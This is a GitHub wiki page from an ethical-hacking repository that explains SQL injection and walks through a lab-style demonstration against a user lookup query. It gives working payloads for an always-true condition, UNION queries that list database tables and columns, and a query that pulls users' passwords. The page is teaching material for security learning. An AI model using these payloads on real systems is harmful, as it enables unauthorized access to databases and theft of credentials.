09. SQL Injection - tandihansvin/EthicalHacking GitHub Wiki

What is SQL Injection ?

SQL injection (SQLi) is one of security weakness which occurs when the attackers trying to inject an unexpected SQL command causing the attacker to have control to the application's database such as drop table, accessing data, changing data and other undesirable things.

Demonstration

1. Always true condition

1 In this condition, we want to see all data that have false condition by making always true condition. The SQL statement for this case is SELECT first_name, last_name FROM users WHERE user_id = '$id'; where $id is string that user input. If the user only input '1' then the statement only return user that has id = 1. So to by pass this condition we only need to make 'always true condition' which will looks like SELECT first_name, last_name FROM users WHERE [TRUE]. [TRUE] is controlled by the user input and we can make a condition where 'P or TRUE' which will result always TRUE. For example: SELECT first_name, last_name FROM users WHERE user_id = x or '1'='1'; SELECT first_name, last_name FROM users WHERE user_id = x or '1'; 2

2. Displaying all tables

Since we already know the SQL statement SELECT first_name, last_name FROM users WHERE user_id = '$id'; and we want to retrieve all table name in the database, we could simply just 'union' the result to other statement but the number of column should be the same. In this case, I put null on the first column and put the table name on the second column. 1' union select null, table_name from information_schema.tables #.

3. Displaying all column in specific table

So far we already know all the table name, and now we want to know all column name in the particular table. For example, we want to list all column in the 'users' table. 1' union select table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_name='users' #

4. Displaying record in specific some columns

Why knowing the list of column is so important ? Let's say we are only limited to retrieve information from X column, and we don't know any column name. The only thing we can do is guessing the column name, as the effect it will take a lot of time and a lot of error will occur (wasted effort). In this case we only limited to 2 number of column, so we can perform easily union with 2 other column to get information inside it. For example we want to know the password and last_login of all users: 1' union select last_login, password from users #